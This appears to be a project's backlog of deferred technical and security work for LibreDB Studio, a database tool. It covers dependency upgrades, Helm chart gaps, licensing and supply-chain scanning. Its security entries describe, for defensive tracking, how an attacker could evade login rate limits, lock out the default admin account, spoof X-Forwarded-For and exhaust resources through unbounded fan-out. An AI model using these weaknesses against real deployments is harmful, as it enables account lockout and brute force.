@tanstack/react-table8 -> 9,framer-motion12 -> 13,eslint9 -> 10 — done; this entry covers only what was left behind.react-day-picker9 -> 10 — resolved by removal, not by upgrade. Its only importer was the vendoredsrc/components/ui/calendar.tsx, which nothing imported in turn; both are gone, so there is no major left to take. Re-add the dependency only alongside a component that uses it.ioredis5 -> 6 — the Redis provider mapsSCAN/INFO/SLOWLOG/CLIENT LISTonto the SQL-oriented interface, so a client major needs the provider triad re-verified against a live server, not a type-check.oracledb6 -> 7 — thick/thin mode and the prebuilt binaries are what the Docker image and the AppImage build depend on; check those before the API.@types/node25 -> 26 — deferred for a reason worth stating: the runtime images are on Node 26 (#380) butengines.nodestill declares>=24.0.0. Typing against 26 would let code compile that breaks on the floor the package advertises. Decide the floor first, then move the types to match it.
@zumer/snapdom is pinned exactly (2.15.0, no caret) on purpose — see the ER-diagram export work
— and is not part of this list.
Dropping react-day-picker exposed the general case. knip.json lists src/components/ui/**/*.{ts,tsx}
as an entry glob, so every vendored shadcn file is a root: knip never reports one as unused, and the
package it imports therefore counts as a used dependency. Roughly twenty primitives under
src/components/ui/ have no importer at all, and several are the sole reason a package is installed —
carousel -> embla-carousel-react, form -> react-hook-form, input-otp -> input-otp, plus
@radix-ui/react-accordion, -aspect-ratio, -avatar, -collapsible, -hover-card.
Deciding this is not a bump: either accept the vendored set as a deliberate on-hand library (and say so
in CLAUDE.md, which today says nothing about it), or sweep the orphans and their packages the way
calendar.tsx went. Until then every Dependabot major on one of those packages costs a review for a
component nothing renders. Reproduce the list with a per-file importer count over src/components/ui/.
The lucide-react 1.31 bump found this and did not fix it. These names were renamed upstream and are
re-exported under their old spelling, at runtime as well as in the types: AlertTriangle,
Loader2, Loader2Icon, CheckCircle2, BarChart3, BarChart2, AlertCircle, FileJson,
XCircle, AlignLeft, Edit3, Filter, Wand2, MoreVertical, MoreHorizontal,
MoreHorizontalIcon, History, PlayCircle, LineChart, PieChart, AreaChart — 51 import
sites in all. Geometry is byte-identical to what we rendered before, so nothing is broken today.
What makes it worth recording is the failure mode rather than the tidiness: lucide-react 1.31.0
ships zero @deprecated JSDoc tags, so no editor, linter or typecheck warns while an alias is
alive, and the first signal is the build breaking on the release that drops it. That is exactly how
Github arrived — as a hard break, not a warning. Migrating each import to its canonical v1 name
(TriangleAlert, LoaderCircle, CircleCheck, ChartColumn, …) turns a future silent removal
into a no-op.
Note History is the one with a rendered-output consequence: in v1 it aliases RotateCcwClock, and
createLucideIcon derives the emitted class from the canonical name, so its element class moves
from lucide-history to lucide-rotate-ccw-clock. No test asserts that class today — checked all
17 lucide-* class literals under src/ and tests/ — but a migration should re-check it.
docs/providers/mssql.md puts getCapabilities() at :57 and getSchema() at :369 where they are at
391 and 749. The drift predates any recent milestone and the same line-anchoring style is used in
every provider doc, so the fix is a convention change (anchor on symbol names, not line numbers) as
much as a correction.
charts/libredb-studio/README.md's Content-Security-Policy escape hatch sets CSP_REPORT_ONLY with
--set extraEnv[0].value="true" (twice: the single-variable example and the two-variable one). The
shell strips the quotes and Helm type-coerces the bare word, so the manifest renders
value: true — an unquoted YAML boolean, while core/v1.EnvVar.value is a string, and the API server
rejects it (invalid type for io.k8s.api.core.v1.EnvVar.value: got "bool", expected "string").
Reproduced with helm template on 2026-08-12. --set-string is the fix, one word per line.
Found while documenting the agent runtime in #329 T13, whose own new recipe uses --set-string for
exactly this reason. Left for a separate change rather than folded in, because it is a different
feature's documentation and the same PR's chart version bump is already spoken for. Done when both
lines use --set-string — and ideally when the README's --set bracket arguments are single-quoted,
since unquoted extraEnv[0] is a glob pattern in zsh.
#331 T2 removed the NL2SQL and Autopilot panels, and #331 T6 rewrote the READMEs, DOCKERHUB.md and
docs/FEATURES.md around the agent. The external channel listings were deliberately left out of
that PR: each is a submission to somebody else's marketplace with its own review cycle, so they
change on their own schedule and not in a documentation PR. They are recorded here so the launch copy
is one list rather than four separate discoveries later.
Four files, with the exact strings that are now false:
| File | Line | The string |
|---|---|---|
deploy/railway/TEMPLATE_OVERVIEW.md |
3 | "with AI-powered query assistance (natural-language-to-SQL, explain, and fix)" |
deploy/digitalocean/assets/description-long.md |
10 | "AI-assisted SQL — turn natural language into queries (NL2SQL)" |
deploy/rancher/CATALOG_LISTING.md |
52-53 | "An optional AI assistant (bring your own key: Gemini, OpenAI, or a local model) writes and explains SQL from natural language and" |
deploy/azure/listing/listing-fields.md |
76 | "2. nl2sql — "Turn a plain-English question into SQL with AI assistance."" |
"Explain" survives the removal and "writes SQL from natural language" does not, so three of the four need a rewrite rather than a deletion — the honest replacement is the read-only agent, which is what the product now has. They are four separate submissions rather than one edit: the Azure entry is a numbered item in that listing's own field contract, and each of the others is published by its marketplace from the file above.
Done when each listing has been resubmitted through its own channel with copy that matches the shipped product, and the entry is deleted then and not before.
The CI Helm matrix pins six of its seven azure/setup-helm sites to Helm 4.1.3 and keeps
helm-release.yml -> lint-test on Helm 3.16 on purpose, because our users install with Helm 3.
tests/unit/helm-pin-matrix.test.ts locks that split. What the Helm 3 job actually proves is
narrower than the marker at the site used to claim: ct install --charts charts/libredb-studio
installs the chart SOURCE directory, never the .tgz that release-github-pages packages with
Helm 4 and never the OCI artifact release-oci pushes. So no job anywhere performs helm install
with a Helm 3 client against a released byte.
The gap is believed narrow — a Helm 4 package differs from a Helm 3 one only in preserved source
mtimes; extracted trees, tar member lists, helm3 lint --strict, helm3 show chart,
helm3 template and a helm3 pull of the pushed OCI artifact were all verified equivalent by hand
before the pins were raised. But "verified once by hand" is not a gate, and nothing would catch a
future Helm 4 packaging change that a Helm 3 client rejects at install time.
Done when helm-index-check.yml (which today only curls the index and compares sha256, running no
Helm client at all) also runs a pinned Helm 3.16 helm repo add + helm pull + helm install of
the published chart version against a kind cluster — or when an equivalent post-publish smoke lands
elsewhere and this entry is deleted.
These were found while reviewing #362, which added the Gateway API HTTPRoute template, and its
follow-up #366. None is caused by those changes; all are gaps they made visible. They share one
failure shape: configuration the chart accepts that produces an install which succeeds while the
app stays unreachable.
grep -rl 'route.openshift.io' charts/ operator/ returns nothing: the chart renders an Ingress
(templates/ingress.yaml) and, since #362, a Gateway API HTTPRoute (templates/route.yaml), but
never a route.openshift.io/v1 Route. Meanwhile the chart carries an OpenShift security-context
adaptation (templates/_helpers.tpl, templates/deployment.yaml) and the repository publishes an
OpenShift operator to OperatorHub, so OpenShift is a first-class target everywhere except the one
object that makes the app reachable there.
The consequence is the same symptom #362 was opened to fix, one platform over: helm install
succeeds, the pod runs, and the operator has to hand-write a Route outside the chart and keep it in
sync across upgrades. An Ingress is sometimes served on OpenShift by the router's ingress
translation, but that is a compatibility shim with its own annotation dialect, not the native path,
and it does not cover re-encrypt or passthrough TLS.
Note the naming collision this now carries: route.* in values.yaml means Gateway API as of #362,
so an OpenShift Route cannot reuse that key. openshiftRoute.* is the obvious alternative, and
whichever key is chosen should be stated in the chart README next to ingress.* and route.* so the
three exposure paths read as siblings.
Done when an OpenShift cluster can be served by the chart alone, with TLS termination selectable, and when the README says which of the three exposure mechanisms belongs to which platform.
grep -rl AUTH_COOKIE_SECURE charts/ operator/helm-charts/ returns nothing. The variable is read at
src/lib/auth.ts:90 and is the documented answer for a browser reaching the app over plain HTTP on a
non-loopback host (docs/OIDC.md, docs/DISTRIBUTION.md), where auth cookies otherwise carry the
Secure flag, the browser rejects them, and — in the words of the comment at src/lib/auth.ts:117 —
"login silently loops". The upstream report that produced that comment is getumbrel/umbrel-apps#5847.
Every other config.* key in this class already has a first-class value (storageProvider,
llmProvider, oidcIssuer, ...) rendered by templates/configmap.yaml under the established
{{- if .Values.config.X }} pattern. A chart user has to reach for extraEnv instead, which means
the one setting most likely to be needed on a LAN or home-server install is the one setting that is
not discoverable from values.yaml.
This is not hypothetical: plain-HTTP channels shipping without the override has already been diagnosed on three separate distribution channels.
Done when config.authCookieSecure exists, renders through the configmap like its siblings, is
documented in the chart README's values table, and leaves the app's own default in place when unset —
the variable's semantics are three-state (true / false / unset lets the app decide), so a plain
boolean value with a false default would silently change behaviour for existing installs.
#369 asks to serve Studio under a path
prefix on a shared domain — https://example.com/libredb next to https://example.com/grafana.
next.config.ts sets no basePath and no assetPrefix, so there is zero support today.
The constraint, recorded so nobody rediscovers it: Next.js basePath is baked at build, not read
at runtime. Asset URLs (/_next/static/...) are emitted into the HTML and JS at build time and
there is no supported runtime override, so a BASE_PATH env var on the prebuilt
ghcr.io/libredb/libredb-studio image cannot work — the feature has to be a build arg and a
rebuilt image. A reverse-proxy StripPrefix is not a workaround either: the browser asks for
/libredb/, the proxy strips it, the app answers with HTML referencing /_next/static/... at the
root, and that follow-up request no longer matches the /libredb router rule. Grafana can do this
at runtime because it is a Go server templating its own HTML; a statically built Next.js app is
structurally different.
The surface a build-time implementation touches: roughly 40 fetch('/api/...') call sites, roughly
15 router.push('/...'), the cookie path: "/" in src/lib/auth.ts and
src/app/api/auth/oidc/login/route.ts, OIDC redirect URIs, src/proxy.ts matcher, the Docker
healthcheck GET /api/db/health, the chart's ingress and route paths, the npm library surface, the
E2E suite and the docs of roughly 27 distribution channels. next/link and the app-router router
prefix automatically; fetch, middleware redirects and cookie paths do not.
Deferred rather than scheduled because the acquisition-relevant PaaS one-click listings hand out
subdomains, not subpaths, so no shipped channel needs it. Related sharp edge, same silent-no-op
class as #366: charts/libredb-studio/values.yaml already lets a user set
ingress.hosts[].paths[].path to /libredb, the install succeeds, and the app is unreachable.
Done when a BASE_PATH build arg produces an image reachable under a path prefix — assets, API
calls, auth cookie and OIDC redirect included — verified against a real path-routing proxy, or when
the chart refuses a non-root ingress path outright and this entry records that as the answer.
Each of these was decided during Phase 1, not overlooked. Delete an entry when the work lands.
src/lib/security/headers.ts's script-src carries 'unsafe-inline', so the policy does not block
an inline event handler. A nonce is the only alternative and it is blocked by a structural fact:
every document route is statically prerendered (.next/server/app/index.html and siblings, verified
— nonce-less self.__next_f.push scripts baked in) and a per-request nonce cannot be applied to
prerendered HTML. Next.js does support the plumbing —
node_modules/next/dist/server/app-render/get-script-nonce-from-header.js extracts a nonce from the
script-src/default-src directive of a CSP header the app supplies — and Monaco's loader supports
loader.config({ cspNonce }) (public/monaco/vs/loader.js:206,430).
The experiment, so nobody re-derives it: force dynamic rendering on the root layout, thread the nonce into the Monaco loader config, then measure what the lost prerendering costs in cold-start time and in the channels that serve Studio from a small box. Done when either the measurement says the trade is worth it and the nonce ships, or the measurement is recorded here as the reason it does not.
src/hooks/use-query-execution.ts:267-269 already reads .error from any non-ok body, so a
rate-limited request shows its message today. What it does not do is read the Retry-After header
and tell the user how long to wait. Done when the toast names the wait.
AuditEvent (src/lib/audit.ts) deliberately has no userAgent field: it is attacker-controlled
free text with marginal value for a single-operator product, and adding it means adding the
redaction question the closed AuditReason union exists to avoid. Done when a real investigation
needs it, at which point it is added as a truncated, explicitly-allowlisted field.
.claude/rules/platform-integration.md carries the platform-facing contract for
securityHeaders(), which is where a platform constraint belongs, but an npm consumer reading
README.md on npmjs.com does not see it. It is left out of README.md because README_zh.md and
README_ja.md (scripts/readme-check.mjs's LOCALIZED pair) would then drift, and that script
guards the pair structurally rather than by heading. Done when the note lands in all three READMEs
together.
src/lib/security/config.ts's readSecurityHeaderOptions() always sends
Strict-Transport-Security; unlike CSP_REPORT_ONLY, there is no HSTS_DISABLE or similar, and one
should not be added in the shape an operator would expect. An escape hatch that merely stops
sending the header is useless against the failure it would be built for: a browser that already
cached the HSTS pin keeps enforcing HTTPS-only for the remainder of the 180-day max-age
(HSTS_MAX_AGE_SECONDS) regardless of what the server does next, and a server that has already
reverted to plain HTTP may not even be reachable by that browser to serve the corrective response —
HTTPS-only means the plain-HTTP origin is refused before any response body is read. The only hatch
that actually works is one that emits Strict-Transport-Security: max-age=0 over a still-live HTTPS
listener, which is what tells a visiting browser to drop the pin; a server that can no longer speak
HTTPS at all has no way to reach that browser regardless of what knob exists. Done when a real
report of a stuck HSTS pin needs this, at which point it is a max-age=0 mode, never a header
omission.
H6. A coverage-phantom pattern can recur anywhere a rarely-covered function has a multi-line inline parameter type
scripts/merge-lcov.mjs picks one "authority" record per source file — whichever test run has the
most executed lines — to decide which lines are "coverable" (docs/TOOLCHAIN.md's "Coverage
measurement" section). A function with a multi-line inline parameter type
(function f(opts: { a?: string; b?: string; ... })) that is exercised by only one test file today
reads as fully covered because that file wins the authority vote. Adding a second test file that
exercises a large new surface in the same source file — without ever calling that function — can
tip the vote to the new file, whose own run reports the old function as a coarse, never-executed
block whose zero-hit lines include the parameter type's continuation lines. The result looks like a
genuine coverage regression in code nobody touched. src/lib/audit.ts's AuditRingBuffer.filter
hit exactly this during Phase 1 (Task 4): extracting the inline type to a module-scope interface
fixed it permanently there, because module-scope type members are erased before any function's
coverage span exists. The general fix is the same wherever the shape recurs: hoist a multi-line
inline parameter (or return) type annotation to a module-scope interface/type, don't chase it by
adding a test that calls the under-covered function for coverage's sake alone.
H7. sanitizeAuditInput does not recurse, so a nested secret survives inside the coerced string it now produces
src/lib/audit.ts's sanitizeAuditInput originally sanitized a value only when
typeof value === "string", silently skipping everything else. That was corrected for I3 of the
Phase 1 review: a top-level value that is neither a string nor duration's legitimate number is
now coerced to a string (JSON.stringify, then the same sanitizeAuditField a real string goes
through) rather than passed on as-is. The claim this entry originally made — "bounded to the ring
buffer, not stdout, because toAuditLine's allowlist never re-serializes an unknown property" — was
true for the details field specifically (toAuditLine does not carry details at all) but false
as a general rule: target, user, action, connectionName, ip and bucket are all
allowlisted onto the stdout line, all string-typed, and all reachable with a non-string runtime
value the same way POST /api/db/maintenance's target was (its own untyped
await request.json() body, no runtime validation). The coercion fix closes that gap: a nested
object reaching any of those fields is now bounded (254 chars, same as every other free-text field)
and reaches both destinations as a string, not an object, wherever it lands.
The residual this entry now tracks is narrower: coercion is whole-value, not recursive per-key
redaction. sanitizeAuditField's credential pattern only recognizes a URI-shaped
scheme://user:pass@host substring, so a nested secret under an arbitrary key name (for example
{"apiKey": "sk-live-…"}, as opposed to a connection string) is bounded and no longer breaks the
shape contract, but is not specifically redacted — it survives, truncated, inside the single
JSON-stringified value. Done when nested plain objects are walked key-by-key (bounded depth, to
avoid a cycle or a pathological document costing unbounded time) so a non-URI-shaped nested secret
gets the same by-key-name scrutiny a top-level one does — no such scrutiny exists for any field
today, top-level or nested; this is a new capability, not a gap being closed.
H8. The rate limiter's lowest-count eviction lets an attacker buy back a login_account guess for a real, but audit-invisible, cost
From src/lib/api/rate-limit.ts's pruneIfAtCapacity doc comment, recorded here as instructed: an
attacker can "buy back one guess against an established login_account target sitting at count N
for roughly (MAX_ENTRIES_PER_BUCKET - 1) x N decoy requests - not a flat MAX_ENTRIES_PER_BUCKET - 1 (about a thousand), because each of the ~999 decoys must itself be raised from 0 to N, not merely
inserted once, before the tie-break can fire. At the bucket's current default (20), a target one
guess from tripping (N=20 - decide() checks entry.count >= limit.max before incrementing, so an
entry with one guess left in its budget sits at count 20, not 19) costs on the order of 999 x 20 -
about twenty thousand decoy requests, by raising that many other entries to TIE (not exceed) the
target's count - the tie-break favors evicting the earliest-inserted member of a tied group, and the
target, having been created before its decoys, always is. This is a real, linear cost multiplier and
not a bypass, but unlike a tripped bucket it produces no rate_limit_exceeded audit event, so an
operator watching only the audit trail would not see it happen." Accepted for
Phase 1: the eviction policy that produces this (lowest-count, not oldest-first) is itself the fix
for a worse bypass (an attacker evicting a target's entry for free before it can accumulate any
cost), and the two alternatives considered and rejected each introduced a worse flaw. Done when a
cheaper, audit-visible eviction policy is found that does not reopen the oldest-first bypass.
src/app/api/admin/fleet-health/route.ts shares the query rate-limit bucket via guardRoute, the
same as every other database-reaching route, but the guard limits request rate, not fan-out
width: the handler runs Promise.all(connections.map(...)) over whatever connections array the
caller's JSON body names, with no upper bound on its length. One admin-authenticated (or stolen
admin) POST can open and health-check an arbitrarily large number of connections concurrently — a
resource-exhaustion vector the per-request rate limit does not touch, because it is a single request
however large its body is. Done when the handler caps the array length (a 400 above some bound) or
chunks the fan-out, whichever the real usage pattern (how many managed connections a fleet-health
dashboard actually names at once) supports.
ROUTES_WITHOUT_A_PROVIDER in tests/security/route-auth.test.ts is a hand-maintained map from
route key to a one-line reason the route is exempt from the "requires a session" sweep. The only
automated check on it ("every allowlist entry names a route that actually exists") confirms each
key matches a real route discovered on disk — it does not, and cannot easily, verify that the
reason is still true. Nothing greps an allowlisted route's file for a provider import
(@/lib/db, getOrCreateProvider, createLLMProvider, and similar), so a future edit that adds a
provider call to one of these routes (say, storage/migrate growing a database-backed feature)
would silently escape the guard sweep the allowlist exists to police, exactly the failure mode the
enumeration itself was built to catch for undiscovered routes. Done when a second, independent check
greps each allowlisted file for provider-reaching imports and fails loudly if one appears.
src/lib/api/rate-limit.ts's login_account bucket (keyed on hmacHex(submittedEmail), immune to
X-Forwarded-For spoofing) throws before the credential comparison runs, and is cleared only by a
successful login, which cannot happen while the bucket is tripped. Anyone who knows or guesses a
real account's address - the published default admin@libredb.org when ADMIN_EMAIL is unset makes
this free - can lock that account out for the rest of the window with the bucket's own default (20
wrong guesses), and renew the lockout indefinitely afterwards at roughly one wrong guess per window.
login_client, the address-keyed bucket, does not help here: it is bypassed in any topology where an
attacker can set or rotate X-Forwarded-For (direct exposure, or a proxy that appends rather than
overwrites the header - Caddy and Traefik defaults, and the common nginx proxy_add_x_forwarded_for
recipe, all qualify). This is inherent to a hard per-account cap, not a defect to design away:
bounding brute force against an operator-set password and bounding this lockout are in direct
tension, and no design removes one side without giving up the other. .env.example documents
RATE_LIMIT_LOGIN_ACCOUNT_MAX=0 as the break-glass (verified: decide() returns allowed: true
unconditionally for max === 0, for both peekRateLimit and consumeRateLimit, so the bucket is
fully inert, not merely permissive). Phase 1 narrowed the window from 900 to 300 seconds to shrink
the lockout's blast radius without materially loosening the guess ceiling; it did not and cannot
remove the residual. Done when a design is found that keeps this bucket immune to header spoofing
without also being a stranger's denial-of-login switch on a known account - unknown at the time of
writing.
AuditReason includes insufficient_role in its closed union, but no call site ever constructs an
event with it. Every denial the audit trail actually records is a SESSION or ORIGIN check failing
(no_session from src/lib/api/require-session.ts's guardRoute, origin_mismatch from
src/proxy.ts's Origin check) - not a ROLE check failing for an already-authenticated caller. Four
in-handler admin-only checks return their 403 with no audit call at all: GET and POST /api/admin/audit (src/app/api/admin/audit/route.ts:9, :28), POST /api/admin/fleet-health
(:29) and POST /api/db/maintenance (:18). The proxy's own /admin RBAC redirect
(src/proxy.ts:116, a non-admin token requesting an /admin page) is the same gap at the
middleware layer: it silently redirects to /, no audit line, no insufficient_role reason ever
used anywhere in the codebase. An admin session (or a stolen one) probing for a role it does not
hold leaves no trace in the one channel this project treats as authoritative. Done when each of
these five call sites emits a permission_denied event with reason: "insufficient_role", the same
pattern guardRoute already uses for no_session.
Every bucket in src/lib/api/rate-limit.ts is keyed on something the caller supplies:
login_client/anon on the derived client address (X-Forwarded-For, attacker-controlled in any
topology without a correctly configured TRUSTED_PROXY_HOPS), login_account on a hash of the
submitted email (fully attacker-chosen, see H11), and query/ai on the session's username
(attacker-chosen only in the sense that it requires a session at all). A global, unkeyed ceiling -
one counter for an entire bucket regardless of key - is the one shape that cannot be evaded by
picking a favourable key, because there is no key to pick. Phase 1 does not add one, and this is a
deliberate scope boundary for this wave, not an oversight: a global ceiling on login_client or
anon turns one attacker's flood into a lockout for every other concurrent user of the same bucket,
which is a strictly worse failure mode than the keyed floods it would prevent, and getting the
sizing right (a ceiling loose enough not to bite a legitimate multi-tenant deployment, tight enough
to bound an attacker) is its own design problem this wave did not scope. Recorded here because
src/proxy.ts's rejection warn log (observedOrigin, bounded per I4 of the Phase 1 review) and the
anon bucket it shares with guardRoute's denial path are the closest thing to a global counter
this codebase has today, and it is still address-keyed. Done when a real, measured flood (not a
hypothetical one) makes the keyed buckets' residual insufficient and a global ceiling's sizing can
be grounded in that data rather than guessed.
Each of these was decided during Phase 2, not overlooked. Delete an entry when
the work lands. Lettered C (supply Chain) rather than S: the SQL
statement-reading section above already owns S1-S8.
Branch protection requires Lint, Typecheck and Build and Unit & Integration Tests. Phase 2 adds three scan jobs and promotes none of them, because promoting
a check is a branch-protection change the repository owner makes, and because two
of the three consult a vulnerability database that is rebuilt every six hours -
making them required would import that schedule into the merge gate. Secret Scan is the one candidate: its verdict is a pure function of the scanned
commit range and the pinned gitleaks digest, it needs no secrets so it works
identically for fork pull requests, and it currently scans a pull request's
commits in about 75 milliseconds. Done when the owner promotes it, or when this
entry records why not.
security-scan.yml's daily run fails when a critical fixable advisory lands, and
GitHub emails the repository owner for a failed scheduled run. That is the whole
notification path. helm-index-check.yml shows the alternative in this
repository - a job with issues: write that maintains a single rolling issue -
and it was not copied here because an auto-filed issue per advisory is how a
security label becomes noise. Done when a real missed advisory shows the email is
insufficient, at which point the rolling-issue pattern is the thing to copy.
It cannot be a release asset: release-artifacts.yml publishes the release
before dispatching docker-build-push.yml, and immutable releases (#154) freeze
the asset set at publish time. It is regenerable by anyone from an immutable
public digest with one Trivy command, documented in SECURITY.md, so nothing is
lost that cannot be recovered - what is missing is convenience and an attestation.
The clean fix is a buildx SBOM attestation (sbom: true on
docker/build-push-action), which attaches it to the image manifest where an
image SBOM belongs. It was not taken in Phase 2 because it adds a step, and a
failure mode, to the release-path Docker build - the most fragile CI surface in
this repository. Done when the release chain has been quiet for a few releases and
the change can be validated with a workflow_dispatch backfill first.
operator-release.yml builds a controller image that wraps the chart. Phase 2
deliberately touched no release workflow other than release-artifacts.yml, and
the operator image has a different lifecycle and a different consumer (OpenShift
OperatorHub, which does its own scanning). Done when a certification requirement
asks for one.
.github/dependabot.yml now groups weekly version updates across Bun, GitHub
Actions and both Dockerfiles, which is what the original entry asked for. Bun is
its own package-ecosystem, not part of npm - the config shipped in #375 said
npm, whose updater cannot see bun.lock, so five bot pull requests bumped
package.json alone and died on --frozen-lockfile. What Dependabot still
cannot do is the other half: its Bun support covers version updates
only - security updates are not implemented upstream for this ecosystem. So an
advisory against a package Bun resolves still reaches nobody automatically; Trivy
and bun audit remain the only things that see it, and acting on one is still a
human step.
That is also why several dependencies are deliberately excluded from the bot, each
with its reason recorded in the config: database driver majors (mocked in tests, so
a wire-behaviour change goes green - ioredis 6's RESP3 default is the live case),
the exact-pinned agent runtime (a bump fails
tests/unit/agent-dependency-boundary.test.ts by design), @zumer/snapdom (pinned
for ER-diagram export fidelity), and the oven/bun base image (its version lives
in two places - the Dockerfile tag and the workflows' bun-version input - that
Dependabot cannot see as one, so it must move by hand in both).
Done when Bun security updates land upstream and the exclusion list can be re-read against whatever they cover.
It reports severity and vulnerable ranges and no fixed version, which is why
Trivy owns the gate and bun audit is a job-summary second opinion. If bun adds
fixed-version data, the container dependency in the local contributor workflow
could be dropped entirely. Done when bun audit --json carries a fix field.
packaging/linux/fetch-node.sh and packaging/windows/fetch-node.sh download a
pinned Node.js build and bundle it into every packaged artefact except the npm
package itself - the standalone tarballs, the Windows zip, the .deb and .rpm
packages, the snap, the AppImage and the desktop package. That runtime is the
largest single binary in most of those artefacts, it is fetched by a shell
script rather than resolved from a lockfile, and the CycloneDX SBOM Trivy
generates from bun.lock never sees it - the document's only node-named
component is pkg:npm/@types/node, a type-declarations package. SECURITY.md
now says the SBOM covers "the dependency closure of" those artefacts rather than
the artefacts themselves, which is the honest claim; this entry is the gap
behind it. Done when the bundled runtime's version and provenance appear in the
SBOM or a sibling document - a second Trivy pass over the fetch-node.sh
scripts' pinned version, or a hand-maintained component entry, whichever ships
without adding a new failure mode to the release chain.
LICENSE states the project's own MIT terms and nothing at the root of any
packaged artefact says that not everything inside them is under those terms. Two
kinds of obligation sit behind that.
The routine kind is attribution: a scan of the installed tree (1169 distinct
packages) puts 1136 under MIT, Apache-2.0, ISC or BSD, all of which want the
copyright notice to travel with redistributed copies, and two carry attribution as
their whole purpose - caniuse-lite is CC-BY-4.0 and the geist font is under
the SIL Open Font License.
The specific kind is seed-assets/sqlite/employee.db, which is CC BY-SA 3.0 and
therefore genuinely share-alike, not merely attribution-required. That was handled
deliberately - seed-assets/sqlite/ATTRIBUTION.md records the provenance, the
license, the modifications made here and the fact that the file is redistributed
under the same terms - but the file ships in the image (the runner stage copies
seed-assets explicitly) and in the packaged tarballs, and nothing at the root of
those artefacts points at that nested ATTRIBUTION.md. A reader of the image sees
an MIT LICENSE and a CC BY-SA database with no note connecting them.
Done when a generated NOTICE (or THIRD_PARTY_LICENSES) ships at the root of
the image and the tarballs, names the sample database's separate terms explicitly,
and is regenerated from the lockfile rather than hand-maintained.
Every other direct production dependency is permissive. elkjs@0.11.1 is
EPL-2.0, a file-level reciprocal license with a patent-retaliation clause, and it
is ours by choice rather than pulled in transitively: the schema diagram's layout
worker imports it at src/components/schema-diagram/elk.worker.ts. It is used
unmodified, which is the case EPL-2.0 is comfortable with, so nothing is wrong
today - but it means the distributed bundle is MIT-plus-EPL rather than MIT, and
that is a question an acquirer's counsel asks rather than one they overlook.
Recorded rather than acted on because the alternatives are worse: ELK is the only layout engine in the ecosystem that produces the layered orthogonal routing the ER diagram depends on. Done when either the mixed terms are stated openly (alongside C8, which is the natural place) or a permissive layout engine proves it can match the output.
dompurify via monaco-editor is the only advisory chain that reaches a user.
Everything else bun audit reports - minimatch, brace-expansion, flatted,
picomatch, esbuild, @babel/core, undici - arrives through eslint,
typescript-eslint, knip, tsup, workflow and @ai-sdk/*, and none of it is
in the image. undici was checked specifically, because the agent runtime sits in
devDependencies by design yet reaches the standalone build: building with
DOCKER_BUILD=true shows no undici anywhere under .next/standalone, since
@ai-sdk/provider-utils reaches it through a createRequire call that output
tracing cannot follow.
#374 moved the shipped copy from 3.2.7 to 3.4.8 by upgrading Monaco itself, which cleared 14 of the 17. Three or four remain (FOSSA counts three, GitHub Advanced Security four - one advisory postdates FOSSA's scan) and none can be closed here: they need 3.4.9, 3.4.11, 3.4.12 and 3.4.13, Monaco pins dompurify exactly, and 0.56.0 is its newest release.
Do not "fix" these with a package.json override. Monaco ships DOMPurify
inlined in its prebuilt min/vs bundle and nothing in src/ imports the package,
so an override would change a lockfile entry no shipped code reads, leave the
bundle byte-identical, and turn bun audit, FOSSA and Trivy green at once. The
GHAS findings land on bun.lock:<line>, which is the tell: every one of those
tools reads the manifest, not the artefact.
Two related non-findings, recorded so they are not re-derived: dompurify is
dual-licensed (MPL-2.0 OR Apache-2.0), so the copyleft half can simply not be
chosen; and the LGPL-3.0 @img/sharp-libvips-* binaries never reach the runtime
image, because the runner stage copies node_modules selectively and nothing in
src/ uses next/image.
Consequence for the README: FOSSA publishes a second badge
(?type=shield&issueType=security) alongside the license one already there, and
it is red for exactly these advisories. Adding it was declined on 2026-08-15 -
it would advertise a standing failure caused by an upstream pin rather than by
anything neglected here. Add it when it goes green.
Done when Monaco ships a dompurify at or past 3.4.13. Re-check on each Monaco
release; verify by grepping the staged bundle for the version literal
(grep -o '"3\.4\.[0-9]*"' public/monaco/vs/editor-*.js) rather than trusting the
lockfile.
FOSSA was connected in August 2026 and posts three commit statuses -
License Compliance, Security Analysis, Dependency Quality. Under its default
Standard Bundle Distribution policy all three fail, and they fail on every
commit rather than on a regression, because they describe the standing dependency
tree. They are commit statuses rather than check runs, so they carry no log to
click through, and they are not in main's required-check list, so they do not
block a merge.
The exported license issues (19) are almost entirely artefacts of how they are
counted. Fourteen are the same LGPL-3.0 @img/sharp-libvips-* package counted
once per platform binary, none of which ships (see C10). Two are file-level
detections inside the next bundle (MPL-2.0 and a denied CC-BY-SA-4.0) against a
package that is itself MIT. One is highlight.js CC-BY-SA-4.0 at depth 4 behind
@arethetypeswrong/cli, a devDependency. One is the project itself at depth 0,
denied for CC-BY-SA-3.0, which is the deliberately-vendored sample database in C8.
That leaves elkjs EPL-2.0 - C9, and the only entry that is both real and ours.
The cost of leaving it is that a permanently-red status trains everyone, including outside contributors, to read red as normal; #362 is the case where a genuine red mattered and was noticed only because nothing else was red.
Largely resolved on 2026-08-15. The owner worked the FOSSA dashboard: the
license findings above were ignored with their reasons, and License Compliance
and Dependency Quality now pass. Security Analysis still reports three, which
is the honest number - they are the Monaco-pinned DOMPurify advisories in C10, and
this is now a status that means something rather than one that is always red.
What remains is the cause rather than the symptom. FOSSA reads bun.lock but does
not apply the manifest's dev/production split, so every devDependency is scanned as
if it shipped - that is why highlight.js, four devDependency-only chains and the
platform binaries appeared at all. Each new devDependency can therefore raise a
finding that has to be ignored by hand. Done when that is reported upstream and
fixed, or when the policy is scoped to production dependencies so the ignore list
stops growing.
Each of these was decided during Phase 3, not overlooked. Delete an entry when the work lands.
src/lib/audit.ts exports both emitAuditEvent (ring buffer and the libredb.audit.v1 stdout
line) and getServerAuditBuffer, and POST /api/admin/audit legitimately uses the second on its
own — its body is client-supplied and must never gain authority over the authoritative channel. But
nothing prevents a future route from doing the same by accident: an event pushed straight to the
buffer is visible in the admin UI, invisible to every log pipeline, and no test notices. The
existing tests all pin the CONTENT of the stdout line, not the set of call sites permitted to skip
it. Done when a check enumerates getServerAuditBuffer(...).push( call sites across src/ and
fails on any that is not on a short, commented allowlist - the same inversion
tests/security/route-auth.test.ts applied to route discovery, where a hand-curated list had
already lost eleven routes.
src/lib/storage/encryption.ts's readSecret treats a three-segment value whose first segment
matches /^v\d+$/ as an envelope. A password stored before this feature existed that happens to be
literally v1:<base64url>:<base64url>, with a 12-byte first segment and a second of at least 16
bytes, is therefore classified undecryptable and omitted rather than returned. The compounded
probability is negligible, the failure is recoverable (the connection survives and the user retypes
the password once), and the alternative - passing an unrecognised value through - would hand
v1:abc:def to a driver as a password. Accepted rather than designed away, because the fix would
be a longer, non-colliding prefix, and the stored envelope shape is a fixed contract. Done when the
envelope format is versioned forward for an unrelated reason, at which point a longer prefix costs
nothing.
